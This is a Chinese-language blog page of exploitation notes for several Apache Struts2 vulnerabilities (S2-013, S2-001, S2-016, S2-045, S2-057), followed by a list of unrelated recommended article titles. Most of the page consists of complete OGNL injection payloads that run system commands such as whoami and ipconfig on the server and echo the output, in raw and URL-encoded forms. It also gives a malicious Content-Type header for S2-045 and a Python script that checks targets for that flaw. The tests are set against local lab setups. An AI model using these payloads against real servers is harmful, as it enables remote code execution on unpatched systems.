Struts框架漏洞

Struts-S2-013漏洞利用

不妨先来看下index.jsp中标签是怎么设置的

<p><s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a></p>
<p><s:url id="link2" action="link" includeParams="all">"s:url" tag</s:url></p>

然后来测试一下最简单payload ${1+1}(记得编码提交 :)

http://localhost:8888/link.action?a=%24%7B1%2b1%7D

就可以看到返回的url中的参数已经被解析成了2

查询whoami

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

更改网址后的

%24%7B(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%7D

Struts-S2-001漏洞利用

五、 POC:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

六、 测试网址:

将POC粘到一个输入框,点击Submit,此后会将数据提交到后端,后端检测值是否为空,然后返回,满足漏洞前提
执行结果:

执行ipconfig命令时还是出现只能输出第一行,老问题,因为写的时候没有安装漏洞的顺序写,解决方法在后面有提及,简单来说就是修改e大小,重复#d.read(#e), #f.getWriter().println(new java.lang.String(#e))

七、 修改后POC

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "ipconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)), #d.read(#e),#f.getWriter().println(new java.lang.String(#e)),#d.read(#e),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

八、执行结果

Struts-S2-016漏洞利用

poc:

?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

原始网址:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action

修改之后网址:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

七、执行结果

执行结果,有下载文件,下载并用notepad++打开看到结果

Struts-S2-045漏洞利用

poc:

Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

用docker搭建好环境后,访问,是这个界面

随便选择个文件,上传,用burp抓包

然后Repeater,只需要更改Content-Type的值,就可实现远程代码执行

附上一个检测POC

#!/usr/bin/env python
#coding:utf8
#code by fuck@0day5.com
import sys
import requests
requests.packages.urllib3.disable_warnings()def poccheck(url):result = Falseheader = {'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36','Content-Type':"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}"}try:response = requests.post(url,data='',headers=header,verify=False,allow_redirects = False)if response.content.find("88866777")!=-1:result = url+" find struts2-45"except Exception as e:print str(e)passreturn resultif __name__ == '__main__':if len(sys.argv) == 2:print poccheck(sys.argv[1])sys.exit(0)else:print ("usage: %s http://www.baidu.com/vuln.action" % sys.argv[0])sys.exit(-1)

Struts-S2-057漏洞利用

在url处输入http://IP:8080/struts2-showcase/${(123+123)}/actionChain1.action后刷新可以看到中间数字位置相加了。

修改中间${(123+123)}位置的payload替换用代码执行编写成命令执行的exp,这一步使用burp抓包修改可以直观的看到结果

Payload: //注:payload需要使用url编码

抓包发送到Repeater(重放)模块,在url加上url编码的paylaod,然后发送即可在头部看到回显结果

Struts框架漏洞相关推荐

  1. 开源框架 Apache Struts 2漏洞的 PoC 已公开

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 上周五,GitHub平台上出现了两个 Apache Struts 2 漏洞的PoC,可导致远程代码执行和拒绝服务攻击. 美国网络安全和 ...

  2. 互联网惨遭Struts高危漏洞摧残

    从7.17号开始,乌云网(www.wooyun.org)开始爆各大网站的struts漏洞. 关于Struts Struts 框架是Apache基金会Jakarta项目组的一个 Open Source项 ...

  3. 速修复!这个严重的 Apache Struts RCE 漏洞补丁不完整

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士团队 专栏·供应链安全 数字化时代,软件无处不在.软件如同社会中的"虚拟人",已经成为支撑社会正常运转的最基本元素之一,软件的 ...

  4. Struts2框架漏洞总结与复现(上) 含Struts2检测工具

    Struts2框架漏洞总结与复现 1.Struts2复现准备 2.Struts2框架漏洞复现 2.1.S2-001漏洞复现 2.1.1.漏洞原理 2.1.2.影响版本 2.1.3.手工复现 2.1.3 ...

  5. 渗透测试-ThinkPHP框架漏洞总结

    ThinkPHP框架漏洞总结 文章目录 ThinkPHP框架漏洞总结 前言 Thinkphp简介 Thinkphp本地安装 Thinkphp本地复现 验证poc 写入一句话 Vulhub-Thinkp ...

  6. java 框架漏洞网站_在分层架构下寻找java web漏洞

    web开发应用程序(网站),是目前应用最广泛的程序.但是开发者的水平参差不齐,导致了各种各样web漏洞的出现.本文站在分层架构的角度,分析一下如何在java web程序中找到可能出现的种种漏洞. 本文 ...

  7. struts(三)——struts框架实现登录示例

    前两篇讲解了struts框架的基本实现,自己感觉讲的也有些枯燥,今天拿登录的例子来做一个实现. 1.新建一个javaweb项目,并将struts的jar包拷贝到WebRoot/WEB-INF/lib下 ...

  8. Struts框架的入门使用

    1.struts框架的使用 导入jar包 1.commons-fileupload-1.2.jar 2. freemarker-2.3.15.jar 3.ognl-2.7.3.jar 4.struts ...

  9. java 详解 搭建 框架_在Eclipse中搭建Struts框架过程详解

    虽然用MyEclipse搭建Struts框架是更为便捷的方式,但是用Eclipse可以增强自己对Struts的理解.本文演示了使用Eclipse搭建Struts 1.2框架的过程.此项目实现了简单的功 ...

最新文章

  1. SQL Server中灾难时备份结尾日志(Tail of log)的两种方法
  2. 【Applet编写应用小程序】Applet类APIの基本知识和第一个程序
  3. vector容器与find算法
  4. Machine Schedule
  5. Maven最佳实践 划分模块 配置多模块项目 pom modules
  6. 田忌赛马c语言程序设计,还是杭电1052田忌赛马
  7. 怎么查这个文件在linux下的哪个目录
  8. 工作235:splice
  9. 前端学习(1385):多人管理项目5抽离
  10. 玩转运维编排服务的权限:Assume Role+Pass Role
  11. 电子围栏原理解析---原理
  12. 【李宏毅机器学习】02:回归Regression
  13. 基础知识及命令(1)
  14. const VS readonly
  15. dhdas信号测试分析系统软件,基于DHDAS动态信号采集分析系统的折叠舵面模态试验探究...
  16. R语言混合效应(多水平/层次/嵌套)模型及贝叶斯实现技术
  17. 趣味小游戏——井字棋
  18. 最高百万年薪,全国多家知名互联网/游戏公司热招 Cocos 人才丨9月岗位
  19. 基于L2Dwidget动态漫画人物js特效
  20. CPU发展史和相关品牌介绍

热门文章

  1. 昨天去做地推,在路上看见了这么繁茂的仙人掌
  2. python如何使用geotools_ArcGIS工具之ET GeoWizards、GeoTools、GeoTools
  3. ###数字不同数之和###python123
  4. 洗车店小程序开发设计(微信同城预约洗车源码搭建费用)
  5. 【19调剂】其它调剂信息(计算机/软件专业)【3.56】
  6. 怎么做好电商运营?40份电商运营表格模板,你离优秀的运营只差了一个表格
  7. 赤道子午线弧长反演大地纬度
  8. 经典过桥问题的思路解析
  9. python圆周率后100位_Python实现计算圆周率π的值到任意位的方法示例
  10. 【MySQL】MySQL建表与常见类型设计陷阱(MySQL专栏启动)